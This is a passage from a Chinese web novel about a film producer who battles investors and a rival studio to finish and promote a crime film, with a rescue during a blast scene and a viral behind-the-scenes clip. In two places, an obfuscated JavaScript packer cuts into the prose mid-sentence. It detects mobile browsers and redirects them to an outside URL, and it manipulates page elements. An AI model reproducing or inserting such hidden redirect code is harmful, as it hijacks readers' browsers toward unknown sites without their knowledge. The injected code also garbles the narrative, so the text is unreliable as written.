程今插话：“我们不是不懂市场，但也不能失掉影片的基本调性。《暗潮》走到现在，靠的是警匪暗线、卧底撕裂感，这种氛围一旦被轻浮内容打破，就会全面坍塌。”她声音缓了缓，“我接受在不破坏核心结构的前提下，增加一些更柔性的表达。但我们要有后期剪辑的选择权，拍了，不等于一定上。” 林言静了几秒，终是松口：“行。但镜头结构尽量轻、短、易剪。拍完后我们先做测试剪辑，没效果就不做后续宣发包装。” 导演低低地哼了一声，没有正面回应，转而看向程今，眼神里多了几分疲惫和无声的抗议。 她与他对视，什么也没说，却像是替他扛下了某种没法开口的让步。 会议最后，两方各退一步达成共识：主线先按原计划拍完，再根据节奏补拍少量“粉丝向”片段，用作可调节物料。 程今收好会议纪要，一边起身一边想：这场博弈，表面上谈的是调整与平衡，其实谈的是剧组的命脉还握不握在自己手里。 25. 第 25 章 当天傍晚，剧组为夜戏做最后准备。 程今坐在制片办公室，手中摊开着最新一版财务报表。表格上的数字触目惊心，现有资金只能撑到后期剪辑尾声，再往后一步，若宣发方案还未敲定，整条资金链便会如断线风筝般失控坠落。 她眉头紧锁，眼眶泛着隐约血丝，正准备再重新核算一次预算比例，手机却“滴”地一声震动。 屏幕上跳出一封来自海外市场顾问的邮件，标题赫然写着：“欧洲院线初步表达警匪题材试映兴趣”。 她心里猛地一跳，却不敢贸然兴奋，飞快扫了一眼内容，刚看了几行，敲门声响起。 门推开，沈宴走进来，手中拿着一叠印刷精致的外文资料。他没穿戏服，便装衬得气质利落，眉眼里带着一丝不易察觉的疲意，却仍神情专注：“我联系了几个国际市场顾问，他们看了片花和人设提案，觉得咱们这片子气质鲜明，有点当年那几部港片的味道。愿意配合我们走一波国际同步排片。” 他把资料递过来，语气不疾不徐：“趁对家还没染指海外市场，这是一条回款窗口。如果顺利，我们起码能在海外回一点血。” 程今怔住几秒，才慢慢伸手接过那叠资料，像是拿到了救命的稻草。她呼吸一缓，终于从胸口吐出一口气：“真能谈下来，就不怕他们国内再怎么封杀，我们还有退路。” 她看着他，语气里难掩罕见的感激与松动：“谢谢你，沈宴。你真是帮了我大忙。” 沈宴看她眼底终于露出一点轻松的神色，嗓音压得很轻：“别这么说。我知道你已经扛太久了。”他微微一顿，又补了句，“这事我可以继续帮牵线，但最终的谈判，还是得你出面。” 程今轻笑了下，眉眼里那层愁绪终于缓了些：“好，我会好好研究条款。这是我这两周第一次觉得，眼前不是全黑的。” 她话音顿住，像是想说点什么，唇角动了动，终究没再开口。气氛一时安静，只有窗外夜风拂动布景的声响和偶尔几声场务的低语。 沈宴没说话，只是那一瞬看她的目光，温柔得几乎要漫出来。 他像是想靠近她半步，却也像意识到什么，生生收住，只淡声问：“我先出去准备夜戏？” 程今收敛目光，轻轻点头，理智如她，总归还是把情绪按回心底：“去吧。我这边处理完也马上过来。” 沈宴微一颔首，转身离开。灯光映在他背影上，拉出一截修长而寂静的线条。 她望着他离去的方向，指尖仍搭在那封“欧洲院线意向”的邮件上，眼底掠过一丝复杂情绪。那种刚刚动了一寸，却又来不及靠近的距离，最让人难受。 . 夜幕沉沉，工业区边缘的废弃厂房静谧而压抑。剧组灯架高耸，数十台机器设备如一群沉默的巨兽，隐匿在昏暗的阴影中，等待着那场最为重要的爆破戏。 导演杨学宁站在监视器后，紧绷着面孔，一遍遍检查布景的细节：“道具组再确认一次引线，消防队也再过一遍，爆破点附近绝不能有人。” 程今站在场边，工装外套上沾了些许尘灰，头发随意挽在脑后。她正快速翻看着安全检查报告，眉头微微皱起。这场戏关乎整部影片的成败，她丝毫不敢懈怠。 “爆破后撤离路线再检查一遍，”她对场务组吩咐，“现场人员站位全部重新确认，严禁临时更改。” 远处的林言双手抱胸，靠在脚手架旁，沉静的脸庞上没有任何多余的情绪。他依旧不看好这场投入巨大的爆破戏，却也不再干涉，只是冷眼旁观。 沈宴穿着破旧带血迹的戏服站在布景中央，神情凝重地反复比划着动作，嘴里低声念着台词。柳尧在一旁调整装备，神色紧张，似乎也感受到现场的高度压抑。 一切准备就绪，导演喊道：“各部门到位，准备开机！” 现场顿时一片肃然，所有人的目光聚焦于场景中央的废弃厂房。 “开始！” 场景内光影幽暗，镜头里，沈宴饰演的卧底满身血迹，神情冷峻。他背靠残垣断壁，子弹几乎用尽，四周围追兵逼近，唯一的出路被事先安置好的爆破装置阻断，空气中弥漫着绝望又紧绷的气息。 柳尧饰演的反派提枪逼近，两人视线相撞，凝聚着悲壮的张力，紧接着，双方激烈对峙，火光骤起、烟雾四散。 就在导演屏息凝神的瞬间，意外骤然发生—— “砰！”一声巨响骤然炸裂空气。 程今猛然转头，眼底映出一团炽热的火焰，竟是靠近她所站位置的一处引线提前引爆，火光冲天，碎片如流星般向她飞射而来。 她来不及多想，本能后退，却一脚被地上凌乱的电缆绊倒，整个人向后摔去，眼看着那团灼热的火星夹杂着刺耳的爆炸声逼近—— 心脏骤然一停，她甚至已经来不及感到恐惧，只是惊愕地睁大了眼睛。 下一秒，一道身影如闪电般冲进火光。 她只觉得腰间被一股强大的力量死死扣住，整个人瞬间被拉离地面，随即狠狠地跌进了一个温热而坚实的怀抱。对方几乎用尽全力将她护在胸前，用身体隔绝了飞溅的碎片和炙热的火星，两人狼狈地滚入一堆破旧的道具箱后。 巨大的爆炸声中，四周的尖叫与喊声仿佛都被瞬间抽离了。她耳中只剩下震耳欲聋的心跳，和对方剧烈起伏的胸膛。 硝烟弥漫，她的双手死死攥着对方的衣襟，抬头一望，撞进沈宴那双焦急而又剧烈波动的眼睛。 “你怎么样？有没有伤到？”他的声音微微颤抖，仿佛仍未从刚刚的惊险中恢复，眼底是掩饰不住的后怕。 “我……”她开口才发现自己的嗓子早已沙哑，“我没事。” 两人的距离极近，近到可以清晰感受到彼此紊乱的呼吸和心跳的节奏。她这才注意到沈宴手臂上的一道烧灼痕迹，顿时心头一揪。 “你受伤了！”她伸手想去查看，却被他反手握住了手腕。 “不要紧，擦伤而已。”沈宴淡淡地掩饰着疼痛，似乎并不在意自己被灼伤的皮肤，目光却牢牢地盯住她，语气难掩责备与关切，“下次不要离得这么近，知不知道刚刚有多危险？” 她怔怔地望着他，心底涌起一种前所未有的酸涩与温热，鼻尖莫名泛起了酸意：“是我疏忽了……谢谢你。” 沈宴深深看了她一眼，目光柔和下来，低声叹息：“你没事就好。” 导演与剧组人员终于扑灭火势，纷纷围拢过来，焦急地询问两人状况。导演急得满头大汗，语无伦次：“吓死我了！你们都还好吧？程今，你刚才差一点就……” “我没事，”程今恢复镇定，迅速掩饰刚才一瞬的失态，“是我自己站位有问题，大家赶紧去检查现场，看还能不能继续拍。” 导演点头，立刻去安排安全复查。 程今转身，忽然意识到自己还紧紧攥着沈宴的衣袖，连忙松开手，脸颊微微一热：“抱歉……刚才太紧张了。” 沈宴望着她微红的脸庞，眸色复杂而柔软：“没关系。只要你平安，什么都值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359164|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。” 他的声音极轻，却重重砸在她心头，令她心跳乱了一拍。她飞快地垂下眼帘，不敢再与他对视。 不远处的林言静静站着，将这一幕尽收眼底。他眸光幽深，却始终没有上前，只是默默地转身离去。 这场意外，似乎无意中打破了两人之间原本小心维护的界限，让情绪开始决堤，无法再掩盖。 爆破区依旧浓烟滚滚，空气中弥漫着硝烟与焦糊的气息，而此刻，两人心底的某些东西，已悄然发生了变化。 那一刻她明白了：原来有些信任，是在最危险的一秒里长出来的。 . 午夜时分，最后一声“卡！”响彻片场。 导演放下手中的对讲，揉了揉脖子，终于哑声宣布：“最后镜头搞定，收工！” 短暂的安静后，片场响起一片掌声与欢呼，所有人却又在下一秒陷入沉默，这不仅是疲惫的释然，更是对一个阶段告终的复杂情绪。 主线拍完，意味着《暗潮》的主体部分正式画下句点。接下来，是后期剪辑，是宣发大战，是更难预料的正面交锋。 不远处，柳尧快步走到程今身边，声音还带着一点激动：“程制片，谢谢你没放弃我这条线……我真的以为会被删光。” 他顿了顿，又不好意思地笑笑：“还有沈老师，他那场对飙戏太给力了，把我整个人都带进去了。” 程今目光柔和：“你本就值得保留，那场戏效果确实不错，后期会尽量保留精剪。” 柳尧憋着的情绪终于松了口气：“有你这句话，我就放心了。”说完便跑去和摄影师告别，脸上还挂着难得的喜色。 导演拎着水壶走过来，一脸疲态：“哎，终于拍完了主线……但林言他们肯定还要加塞什么粉丝桥段，我不说话了，全要靠你斡旋了。” 程今望着夜色，脑海里依然浮现傍晚那场爆破戏的火光，以及沈宴扑过来护住她时的力度与温度。她轻声应了一句：“……我会处理好。” 她刚想靠在椅背上缓一口气，手机却震了一下。 点开，是唐夕火速转发过来的： 对家官博高调宣布定档宣传活动，口号赫然写着：“真正的商业保障，才配得上黄金档。” 官宣内容直指“全明星阵容”“热血群像”，并选在《暗潮》隔天上线，显然要打时间差压热度；评论区热搜已挂上：“今年最值得期待的警匪大片”。 唐夕电话随之打来：“程制片，他们这一手摆明要抢热度、压我们声势，院线那边也开始倾斜……我们必须尽快推进联盟计划。” “知道了。”程今望着手机屏幕，指节缓缓收紧。 这边刚收尾，那边就直接开战。 她知道，真正的拉锯才刚开始。 身后不远，沈宴站在灯光架撤收的阴影下，悄悄看着她的背影。 他没有出声，只是静静注视着。那场爆破戏后，彼此间的距离悄然拉近。可比起未表明的心意，此刻更重要的，是站在她身侧，不动声色地与她并肩。 程今感受到目光，缓缓回头。 两人对视一瞬。 她看见他眼里的担忧，也看见那一如既往的笃定。那是一种近乎无言的承诺：如果她往前走，他就在她身边。 灯架一盏盏熄灭，工作人员拖着疲惫身躯归位，废弃厂房恢复沉寂。风吹起场记板一角，那上面写着：“主线杀青·宣发待命”。 而程今站在空地上，手机握得很紧，目光却愈发清晰。 26. 第 26 章 剧组杀青后的第七天，程今一早赶到后期制作基地。 楼道早已不复往日冷清，如今人声鼎沸，后期剪辑师、音效师、调色师来回穿梭，抱着硬盘、画面素材、配乐线稿与参考分镜，脚步匆匆，神色疲惫却又带着隐隐兴奋。他们就像刚登上战场的士兵，在混乱中努力排兵布阵，准备拼出整部电影的真正轮廓。 走廊尽头，一张手写纸贴在剪辑室的门上，字迹潦草却坚定：“《暗潮》首剪区，非相关勿入。” 推门而入，程今第一眼看到的不是人，而是一张被外卖盒和便签纸堆满的桌子，和闪着蓝光的剪辑屏幕。导演杨学宁正坐在电脑前，脸色苍白但眼神专注，像是已经几个通宵没合眼；主剪辑师老贺靠在椅背上，嘴里嚼着冷掉的面包，鼠标滑动时间线的手指却稳得像机器。 程今在剪辑室扫了一圈，没见到之前日夜奋战的小澄，便随口问了一句：“小澄呢？不是一直跟着做片花？” 老贺没抬头，只是淡淡答了句：“她临时被调去公司新项目那边，剪一档综艺宣传。上头批的命，我这边接手电影长剪。” 杨学宁补充：“她之前那几版做得不错，但长片节奏跟片花不一样，老贺这边更有经验。” 程今点了点头，没再多问。 空气中混着咖啡味和热机器散出的焦灼气，整间屋子像是被一股“不能出错”的紧绷情绪牢牢包裹。 “你们怎么还没回去睡？”程今压低声音走近，语气里透着关切。 杨学宁眼睛没离开画面，低声回她：“睡不踏实，脑子还在跑。越剪越觉得紧要，每一帧都不敢放松。” “有几个段落拼上之后特别惊艳，”老贺语气微哑，“尤其是沈宴那场巷道搏斗，我们把几个角度剪碎重组，放上配乐之后……我鸡皮疙瘩都起来了。” 程今听着，眼神微动，扫了一眼屏幕上停格的画面。是沈宴被反派一脚踹倒、从废墟中缓缓爬起的慢镜，背景光影浓烈，脸上汗与血交错，眸光里却是一种几近绝望又偏不认输的狠劲。 她沉默了一下，低声道：“这个镜头留下。” 杨学宁和老贺对视一眼，异口同声：“当然。” 这天上午，程今陪导演杨学宁与主剪辑老贺，一帧帧过了将近三分之二的粗剪内容。三人就每一处对话衔接、动作节奏与配乐起伏讨论了两个多小时。尤其巷战、爆破几场重头戏，素材量惊人，光镜头编号就密密麻麻铺满整个时间轴。 老贺一边翻素材一边感慨：“要不是当时程制片咬牙加了机位，现在这些场面真拼不出层次感来。” 程今笑了笑：“那会儿也担心预算吃紧，但我知道打得响的不是规模，而是能不能抓住观众的眼。要是真剪不出效果，到时候还得补拍，不如一开始就拍够。” 导演杨学宁举起手边喝空的咖啡杯，朝她一晃：“你一直都很清楚资源该花在哪儿。” 气氛刚稍微松动，剪辑室的门被轻轻敲响。 程今回头看去，是林言。他依旧西装笔挺，神情不急不缓，西装口袋里的灰蓝色方巾对折得一丝不苟。 他步入剪辑室，没有寒暄，直接开口：“早上刚和董事会那边做完汇报，正好来看看首剪进度。” 杨学宁闻言，眉头几乎不可察地动了一下。老贺点点头，算是打了个招呼。 林言站在他们身后，静静盯着屏幕上的画面播放，神色不显起伏。他看了十几秒，忽然开口：“现在的剪辑节奏偏保守。观众的注意力流失比以往快很多，我们是不是可以考虑一些强对抗式的结构切入？” 他转而看向程今和导演，语气平和：“比如沈宴和柳尧的这条线，若从信任裂缝上做文章，情绪冲突会更集中，也更容易激发社交平台上的舆情讨论。这种张力不必明说，但可以适度留白。” 他话音顿了顿，眼神落在一段正在播放的片段上，语气没有起伏：“这场戏情绪线不错。但从市场反馈来看，观众对反派的记忆点往往来源于动作之外的压迫张力。如果这场能做一些视觉上更极端的处理，比如通过光影、剪辑节奏放大反派的控制感，可能更容易沉淀为记忆标签。” 导演皱了下眉，语气并不激烈，却带着明显克制：“这段戏原本是设计为心理压迫，而不是转为肢体冲突。我们更想让观众感受到角色内心在崩裂，而不是用一个表层的狠，去替代那份挣扎。” 林言没有反驳，只是微微一笑：“理解创作上的选择。我的建议只是基于数据模型对观众刺激反馈的分析。既然影片本身兼具类型片属性，也不妨试着为传播面多准备几个破口。毕竟，后续市场节点紧张，宣发资源有限，每一个看点都要最大化。” 他语调从容、不急不慢，却句句切中核心。 程今站出来打圆场：“林总的建议我们会纳入考量。现在是首剪阶段，我们会先完成一版保留导演创作初衷的正式剪辑。同时也会准备一份辅助版本，做小范围的观众测试和偏好评估。这样您那边也有明确的数据可供决策。” 她用“辅助版本”而非“商业版本”，语气平稳，既回应了林言，也守住了主创底线。 林言看她一眼，唇角似勾起一个几不可察的笑：“程制片做事我一向放心。那就尽快推进，我这边会继续跟宣发端保持同步。” 说完，他不再多言，转身离开。 门轻轻关上的一刻，杨学宁猛地一甩鼠标，低声道：“真他-妈不是拍戏，是开公司年终汇报。他的每一句话听着都没错，但他根本不在乎故事，只在乎指标。” 老贺冷哼：“把演员演得多狠、剪得多刺激，全往‘市场价值’上靠。这片子要真按他说的剪，离爆米花商业片就差一步。” 程今举手示意两人稍安：“我知道你们不痛快。但现在这个阶段，我们必须扛住。他想要数据，我们就给他数据。他能看见我们做出的让步，也要看清我们底线在哪儿。” 导演长出一口气：“希望他别再来指点江山了。” 程今低头，手指轻敲桌面：“他不会那么轻易罢休。林言的路数，是用资本和市场反推创作。只要数据能站住，他就会想把我们带进下一轮干预。我会盯住，但我们也得有备选方案。至少，留下一版我们真正想要的《暗潮》。” 正说着，手机屏幕亮起，唐夕发来一条新消息，通知栏“滴”地一声震动。 程今低头一看，心口微沉。 【刚收到不太好的消息：对家正式宣布大片定档，并买下了五大平台的首推资源。海报文案也很不客气。】 程今拇指轻扫，点开图片：一张铺天盖地的视觉海报，赫然写着“年度工业巨制”，字体冷硬压顶。对家不仅提前公布了档期，还包下了视频平台首页、应用商店开屏、院线官网等多个渠道的首位推荐，全网形成压迫式联动。 连空气都像骤然沉了几度。 “对家这是在直接宣战？”老贺凑近，看完屏幕，声音低哑。 导演冷笑一声，语气压着怒火：“他们是早就盯着我们。” 程今沉了几秒，随即拨通唐夕的电话。 那头一接通，就传来唐夕压抑的怒气：“他们的宣发文案连遮掩都懒得做了，明摆着要把我们钉在穷制作、弱宣发的印象上。五大平台首推全被抢，我们这边的预算撑死也就他们的一半。” 程今轻轻闭上眼，指腹抵住眉心。之前她为了保证拍摄质量，已经把可调配资金压到了每一个拍摄现场的细节里：服化、爆破、多机位拍摄、演员档期，全是硬成本。她明知道后期会紧，但还是赌了那一把。现在影片虽然顺利杀青，赵敏的资金也到账，却仍然捉襟见肘，调色、配音、宣发，每一项都得掰着预算往下抠。 “我们现在不能硬碰，但也不能坐等。”程今语速平稳，“‘宣发联盟’那边继续推进。小平台、地方影院、校园放映、路演预热，还有多少资源能挂频道，你都列一遍给我看。不要慌。” 挂断电话后，她抬头，目光扫过正在看她的导演和老贺。 “三件事，”她开口，“一，剪辑继续，质量不降；二，常规宣发预算维持，先放弃跟他们正面对轰；三，我们选一两个炸点，提前预热，社交媒体上抢一个话题场，不能让观众以为我们认输了。” 她话音刚落，当天下午，便火速召集了一个后期进度紧急会。 会议室里人不多，气氛却紧张得厉害。除了导演组与宣传组，连投资方代表也有人到场，不等程今开口，质疑声便先落了下来： “预售资源都要被他们封完了，咱们要不要改档避开？” “与其撞死，不如拖一拖，让成片再精修一下，等他们热度过去再上线。” “哪怕晚两周，也好过现在扑街。” 程今坐在最前排，一手翻着宣发预估数据，表情始终未变。她没有急着回应，只是安静地听，等所有声音汇聚成片，才缓缓抬头。 她开口的声音并不高，却足够清晰：“你们说得都对。但我们这部片子，从开机第一天起，什么时候资源宽裕过？什么时候有对手让过路？我们拍到今天，是靠退避退出来的吗？” 空气一时凝住。 她目光扫过全场：“但我们不是去送死。我不会盲目撞档，也不会自毁信心。对家要封渠道，我们就另起声量。地方院线、校园场、路演观摩，我们走另一条路线，把声势炒出来，观众自然会来看我们。市场的注意力，不是只有大平台能抢。” 台下仍有人欲言又止，却被她紧跟一句压住：“我们现在最该做的，是把片子剪好。如果成片不给力，一切宣发都是空话。” 全场沉默。 程今最后看向林言。他坐在会议桌另一侧，一言未发，只是嘴角微不可查地勾了一下，眼神仍旧冷静如水，看不出态度。 散会时，程今才察觉，自己攥着文件的手指已经泛白，几乎要把纸张捏皱。 接下来的几天，剪辑室仍在昼夜赶工。因林言频繁出入“监督”，程今索性让老贺顺带整理一些“边角料”，包括N□□段、拍摄花絮、换机位时的即兴对戏，没准能在社交平台上找到另一个切口，试探观众的兴趣点。 谁也没料到，真正的“破局物料”会藏在一段几乎被遗忘的彩蛋里。 那是杀青前拍摄的一场关键戏——沈宴与柳尧饰演的角色兄弟反目，枪口相对，一切情谊化作火药味。导演当时为了抓住两人对峙间的情绪变化，特意设了多个角度、连拍数小时，还拍下许多机位切换间两人私下对戏的片段。 “这俩人真是演疯了。”老贺一边翻素材，一边忍不住感慨，“连在镜头外都在较劲，真不知道他们是在排练，还是还没从角色里出来。” 其中有一段，沈宴在一遍遍调试拔枪的速度，柳尧站在他对面试探式走位，不断抛台词、改语气，两人像在某种隐秘的博弈中较量，也像在用角色对话彼此探底。镜头外的张力，几乎比镜头内还高。 老贺眼睛一亮，把这段划了重点。 唐夕得知后立刻提议：“要不剪成个小花絮？放到网上试试水，就当咱们开始反击了。” 程今沉吟片刻，点头：“三分钟以内，情绪连贯，台词和眼神都保留清晰。即便上不了首页推荐，只要够真，会有自来水帮我们推。” 当晚，剪辑师加班将这段片场“非正式对峙”剪成短花絮，配上简单的过场解说。视频发出时，没人抱太大希望。毕竟现在各大平台的主推资源早被对家封死，热搜榜单也被商业通稿堆满，《暗潮》几乎没有发声空间。 但意外发生在凌晨两点。 唐夕盯着数据边打哈欠边刷着页面，突然一个激灵坐直：“……怎么回事？” 她刷新一次，播放量翻了一倍；再刷新，又多了几千转发。最初只是几条弹幕刷起“这对有点意思”，很快，#暗潮兄弟线#这个原本无人注意的话题，悄无声息爬上热榜。 到清晨，热搜已挂在前十。 “沈宴和柳尧这一场真是绝了，两个演技挂互撕太上头了。” “强强对峙那味儿出来了，沈宴那个眼神，我磕到昏厥。” “这一段直接戳爆我嗑点。” “CP也嗑，戏也稳，这种演员配对太少了，求正片给足。” 自来水UP主开始剪BGM混剪，有人做成MV，有人做角色解构视频，还有弹幕直接带节奏：“这不是卧底片，这是兄弟片，是嗑疯了的兄弟片。” 短短一夜，#暗潮兄弟线#成为《暗潮》上线以来第一次没有资本推动、纯靠观众情绪裂变引爆的舆论点。 早上七点，程今接到唐夕电话时，正拿着冷掉的咖啡看后期剪辑进度。电话那头唐夕激动得声音都飘了：“姐，我们爆了！” 她拿起手机，看见熟悉的热搜词条挂在首页，点进去，一屏一屏的弹幕与评论，仿佛密不透风地把那段三分钟小花絮包围在中心。 有人说，这才是能撑起国产硬汉片的新标杆；也有人说，终于不是无脑爆炸，而是情感和暴力一起燃烧。 程今盯着数据曲线那一瞬，有些恍神。她上次见到这种自然发酵的爆点，还是她早年还是编剧时，一部小成本青春网剧因为一段台词被疯转。 但那时候她只是追热点的参与者，而现在，她是决策者，是带领团队走出困境的那个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359165|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她缓缓把手机放下，喃喃一句： “我们，也能抢回一口气。” . 花絮已经意外出圈，程今干脆趁热打铁，当即与唐夕敲定后续节奏：继续剪辑第二波、第三波“兄弟对峙”衍生花絮，附加幕后简短访谈，例如“柳尧如何揣摩兄弟反目的临界点？”“沈宴对角色崩塌时刻的理解？”务必把这段热度拉得稳、推得高。 就在他们刚完成第一轮分工，微信群里沈宴发了一条简短消息—— 【把素材给我，我剪。】 语气平平，毫无修饰，但程今一眼就懂了他的意思。 他不是“客气帮忙”，而是主动出手，要从演员角度参与这场战斗。程今了解他，这人对角色的控制力极强、剪辑视角也一向锋利，之前他自剪的角色片段曾在短视频平台上拿下百万播放。他不爱多说，却极重视每一次表达，只要出手，就意味着真要把这波热度打得精准且漂亮。 她没回任何客套话，只一边转发素材给老贺，让他整理一套高码率原始文件发给沈宴，一边迅速调整发布节奏，提前给第二轮发布空出时间窗口。 这不是第一次合作，也不是第一次沉默里并肩而立。她知道，沈宴的剪辑，不是为了流量，而是为了给观众看到角色的隐秘情绪，那些藏在爆破枪战之外的、真正能让人入戏的底色。 果然，仅仅两天后，沈宴剪出的“演员视角版兄弟线”花絮上线。 与第一版强调强情绪的“炸裂感”不同，沈宴这版更像一次心理轨迹的追溯：他精准选取了柳尧每一个压抑、迟疑与情绪崩塌的细节镜头，与自己角色的渐变节奏交织剪辑，一秒不加废话，三分钟全是刀子。 配乐收敛，节奏紧凑，氛围冷感十足，却让弹幕炸开—— “沈宴亲自投喂，呜呜呜，我大吃特吃。” “老师，好饭，再做，哭了。” “这不是兄弟线，这是一场互相毁灭的宿命拉扯。” 一时间，#暗潮兄弟线二刷版#悄然爬上微博热搜榜尾，随后被UP主搬运到C站、小绿书、晋江音，全平台发酵。 有业内人悄悄转发道：“就说这戏不是粗制滥造吧，情绪结构精得很。” 更有不少网友开始质疑—— “不是说《暗潮》被封锁了吗？怎么这花絮还是上热搜了？” “对家买了首页又怎样？压不住观众口口相传。” “有点东西欸，原来不是所有工业片都只靠爆炸。” 渐渐地，“就算被封杀，好作品也能靠内容破圈”的声音开始在社交平台流动起来，尚未形成压倒性，但舆论风向明显不再是一边倒的唱衰。《暗潮》不再是那个“首推缺席的冷门片”，而是被点名关注的“潜力爆款”。 程今坐在办公室，手指轻敲桌面，看着后台数据那条缓慢上升的曲线，唇角终于浮现一点淡笑。 她知道，局面正在悄悄翻盘。 眼看话题热度终于扳回一城，程今索性趁热打铁，组织了一场简短的“庆功宴”。说是庆功，其实更像是一场创作核心成员的聚会，地点选在后期基地附近一家低调的日式居酒屋，参与的也只是导演、剪辑组、公关部，以及几位主演。 晚宴气氛难得轻松。导演、老贺一边端着小酒一边感叹：“总算能喘口气了，感觉这一波是真从悬崖边上拉了回来。” 柳尧也来了。他这段时间因“兄弟线”爆红，关注度持续飙升，却仍谦虚笑道：“我是真没想到会被大家喜欢得这么多。沈哥剪的那些镜头……让我看完又感动又有点羞愧。” 沈宴倒没多寒暄，只端起杯子，轻轻碰了碰柳尧：“你有这个本事，观众本该看见。” 众人都笑起来，气氛轻快热络。 程今喝得不多，只是静静看着，偶尔与唐夕交换一个眼神，像是在确认什么。她举杯环视全场，语气不高，却掷地有声：“到现在为止，我们没输。哪怕资源拼不过对家，能在这样的局势下打出讨论度，就说明我们内容有人愿意看。” 众人举杯回应，半是自嘲，半是慰藉。酒杯清脆碰撞的声音，在这一刻，像是一次对彼此坚持的嘉奖。 但程今心里很清楚，这场“意外翻盘”不过是第一道波浪，对家的真正攻势还没开始。 果不其然。 第二天一早，程今刚在剪辑室坐下，唐夕便气喘吁吁冲进来，手机屏幕几乎贴到她面前：“程今，看这个，永荣官宣了。” 众人围过来，只见屏幕上是一条头条新闻： 【永荣影业发布重磅通告：将于下月中旬展开多平台联合直播，联动三档顶流综艺节目，打造“倒计时引爆战”。】 除此之外，还有一系列路演、首映礼、平台首页锁推、线下联合打卡点，几乎将整个宣传节点压缩成一场席卷市场的“舆论大扫荡”。 所有人脸色骤变。 导演皱眉：“这不是宣发，这是轰炸。他们是要抢占观众所有注意力，把我们彻底压下去。” 老贺看着新闻，喃喃道：“原以为我们终于争了口气，结果人家压根没把我们那点热度放在眼里。” 饭桌上陷入一片压抑，谁都明白这意味着什么，对家不仅宣发规模碾压，还精心掐准时间，直接与《暗潮》的定档窗口正面对撞。如果他们成功抢跑，观众的眼球、资源、平台支持，全都将向那一边倾斜。《暗潮》就会彻底沦为“话题之外”的边角料。 程今缓缓合上平板，脸色沉静，眼中却闪过迅速翻动的判断。 她明白，对家这次调动的是全线资源，一场声势浩大的“封锁行动”已然启动。她若还想让《暗潮》有一战之力，就必须在成片、宣发、口碑三线同时推进，不留死角。 她扫了一眼周围人低垂的视线，语气平静却冷冽： “后期真正的战斗，现在才开始。” 导演苦笑着摇头：“好吧，那就继续拼吧。” 所有人的目光汇聚到程今身上，她眼神沉静如水，却笃定有力：“我们没有顶级宣发，但我们有最好的内容。所有精力都聚焦到片子上，把它打磨到最好。我们没得选，就用这部片子，去和他们硬拼一场。” 没有高调口号，也没有豪言壮语。 于是，那天起，所有人重新归位： 有人通宵调色，修每一帧画面细节； 有人剪接宣传片，反复对拍摄素材做打点； 有人一边拉通渠道、一边联系二三线影院做联动放映。 程今则带着团队制定对冲计划，重新部署最后一轮物料投放与市场反制策略。她那根神经，再次绷到极限。 27. 第 27 章 剧组杀青后的第十天，剪辑基地首次对外开放探班。大楼一层大厅被简单布置了一个媒体接待区，“《暗潮》媒体开放日”的横幅悬挂在主入口正上方。几个核心成员已经在此等候，他们面色疲惫却难掩兴奋，仿佛正迎接着某种阶段性的考验。 程今特意穿了一身深色风衣，试图掩饰连日来的疲态。她站在一旁，反复确认灯光、音响设备与接待流程的细节。虽然不是什么盛大的庆典，但从场地布置到现场氛围，她都要求一丝不苟。 不多时，导演杨学宁从剪辑室里出来，随意戴了顶黑色棒球帽，面容稍显憔悴。他径直走到程今身旁，略带苦笑地低声道：“片子还没剪完，媒体就已经等不及来看热闹了。” 程今轻声回应：“正因为还没剪完，才更需要我们稳住阵脚，不被舆论带节奏。” 沈宴与柳尧一前一后也从休息区走出。沈宴依旧穿着一身干净的休闲装，气场平稳，目光掠过大厅里三三两两聚集的媒体记者，转头对程今提醒：“待会儿采访环节，媒体可能会提一些刁钻的问题，你还是要留个心眼。” 柳尧在旁接过话头，笑着打圆场：“我打算在记者面前多夸夸剧组，说不定还能帮咱们拉点好感。” 程今闻言轻笑：“好，那我可记住了，就等你来替我们刷口碑。” 她的语气带着些玩笑，神色却仍是严肃的，顺带叮嘱了一句：“你最近人气涨得快，也注意适当休息。接下来宣传任务还很重。” 没过多久，媒体开放环节正式开始。杨学宁简单致辞，感谢媒体朋友的关注与支持，随后就由宣传团队带领大家参观剪辑基地的各个部门。记者们看了粗剪片段、听了剪辑师对创作理念的介绍，情绪逐渐被点燃。 参观结束后，媒体围在大厅临时设立的采访区，纷纷把话筒和镜头对准了主创们。一名记者率先向导演提问：“请问杨导，对于《暗潮》后期剪辑的进度，您心里有把握吗？听说拍摄期就非常艰难。” 杨学宁镇定地回应：“拍摄虽然艰苦，但我们团队非常专业，也早已做好了迎接困难的准备。现在的剪辑进度正常，我们会继续打磨细节，力争呈现出最好的效果。” 下一名记者将话筒递到程今面前，问题明显带着试探与尖锐：“程制片，坊间一直有消息说对家公司已经封锁了主流宣发渠道，《暗潮》是否感到压力？有没有可能因此跳档或弃档？” 现场的氛围一下子安静下来，所有人目光都聚焦在程今身上，等待她的回应。 程今淡然一笑，举止落落大方：“对市场的竞争，我们剧组一直保持关注。至于您提到的渠道问题，我可以透露的是，《暗潮》目前已经做好了多手准备。就在今天，我们也首次公开宣布，将与多家中小院线发行公司、以及一些海外流媒体平台展开深度合作。” 她的声音不高，但字字掷地有声，带着令人信服的沉稳与自信：“新的发行模式或许会带来新的机会，请大家耐心期待。” 